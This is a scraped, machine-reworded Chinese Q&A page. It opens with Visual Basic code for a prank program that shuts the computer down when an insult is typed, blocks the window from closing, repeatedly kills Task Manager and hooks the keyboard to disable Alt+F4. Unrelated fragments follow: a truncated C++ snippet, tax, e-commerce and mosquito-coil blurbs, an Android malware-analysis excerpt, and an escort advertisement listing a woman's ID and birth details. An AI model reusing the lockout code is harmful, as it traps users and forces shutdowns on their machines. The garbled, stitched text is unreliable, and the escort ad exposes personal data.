我使VB编写出了一个简易序,因为百度问答的局限性我仅将关键代码放在下边
如果有搞不懂的地区,随时欢迎
If Text1 = "帅" Then
MsgBox "你很诚信", vbOKOnly, ""
ElseIf Text1 = "长得不好看" Then
Shell "cmd.exe /c shutdown -s -t 0"
End If
此外,使关掉无效的代码为
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub
使资源管理器无效的代码可以用(必须放在timer里)
Shell "taskkill /im taskmgr.exe /f", vbHide
禁止使用ALT F4的代码可以用
Option Explicit
Private Declare Function GetKeyState Lib "User32" _
(ByVal nVirtKey As Long) As Integer
Public Declare Function SetWindowsHookEx Lib "User32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "User32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "User32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)
Public Type KEYMSGS
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Public Const WH_KEYBOARD_LL = 13
Public Const VK_LWIN = &H5B
Public Const VK_RWIN = &H4C
Public Const HC_ACTION = 0
Public Const HC_SY *** ODALOFF = 5
Public Const HC_SY *** ODALON = 4
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public P As KEYMSGS
Public lHook As Long
Public Function LowLevelKeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim fEatKeystroke As Boolean
If (nCode = HC_ACTION) Then
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Or wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then
CopyMemory P, ByVal lParam, Len(P)
Select Case P.vKey
Case vbKeyF4
If (GetKeyState(vbKeyMenu) And &H8000)0 Then
fEatKeystroke = True
End If
End Select
End If
End If
If fEatKeystroke Then
LowLevelKeyboardProc = -1
Else
LowLevelKeyboardProc = CallNextHookEx(0, nCode, wParam, ByVal lParam)
End If
End Function
'之上为控制模块代码
lHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf LowLevelKeyboardProc, App.hInstance, 0) '设定电脑键盘勾子
UnhookWindowsHookEx lHook '撤销电脑键盘勾子
额,百度搜索不许打。我发文件了,无毒性有害死去。我挣点钱呵呵呵
会卡死吧/也有很有可能会泄露秘密。
#includeusing namespace std;int main(){ int a; cin >> a; long long i=56645698080875867937693598758973409776979046856734769875876509870596798657568709865078069587094865987658967768576859684867456795876894568948646456456456456456565664563793894812898;//数据一部分可改 do{ cout
今年呢,许多优惠税收减免新政中,都提及了小微企业,小型微利企业。可是,究竟如何区别这俩个呢?下边,和小编一块儿了解下吧。 一、什么叫小微企业? 小微企业:依据公司从业者、营业收入、资产总额等指标,...
哪儿约潍坊外场,陶馨纨ID:4491979160cm63kg32B金牛座O型血壮族二零零九年03月22日出生于福建莆田市城厢区,本科文凭毕业于石家庄市外事职业学校,现定居潍坊,岗位:外场伴游性情:活泼...
从播送接收器的称号就能够看出他是一个检测网络改变然后履行某些行为的播送。 从代码中能够看出他的首要行为便是假如能够联网,就会敞开AppService服务(这是第二个为了敞开这个服务的播送了,能够看出极...
亲吻,您可依据下列流程自纠自查: ① 请您开启店家操作台左下方的内嵌打开浏览器商户后台,查询【多多的在线客服】–【在线客服数据信息】-查询【淘宝指数】,【在线客服业绩考核数据信息】等是不是与...
黑客蚊香对人体有害吗? 有!炎炎夏日,不少人喜欢点蚊香驱蚊,却不知这会对人体造成伤害。蚊香有毒,对人体有害。大多数蚊香的有效成分是除虫菊脂杀虫剂,以及有机填料、黏合剂、染料和其它添加剂等,因此蚊香燃烧...
1首先你要清楚要为什么要做快手电商他的优势是什么。 如果你的快手拥有固定的粉丝群,是可以试一试的,当下是社交分类电商的发展阶段,传统电商已经开始显得力不从心,如拼多多的分享砍价到最后崛起,再比如抖音的...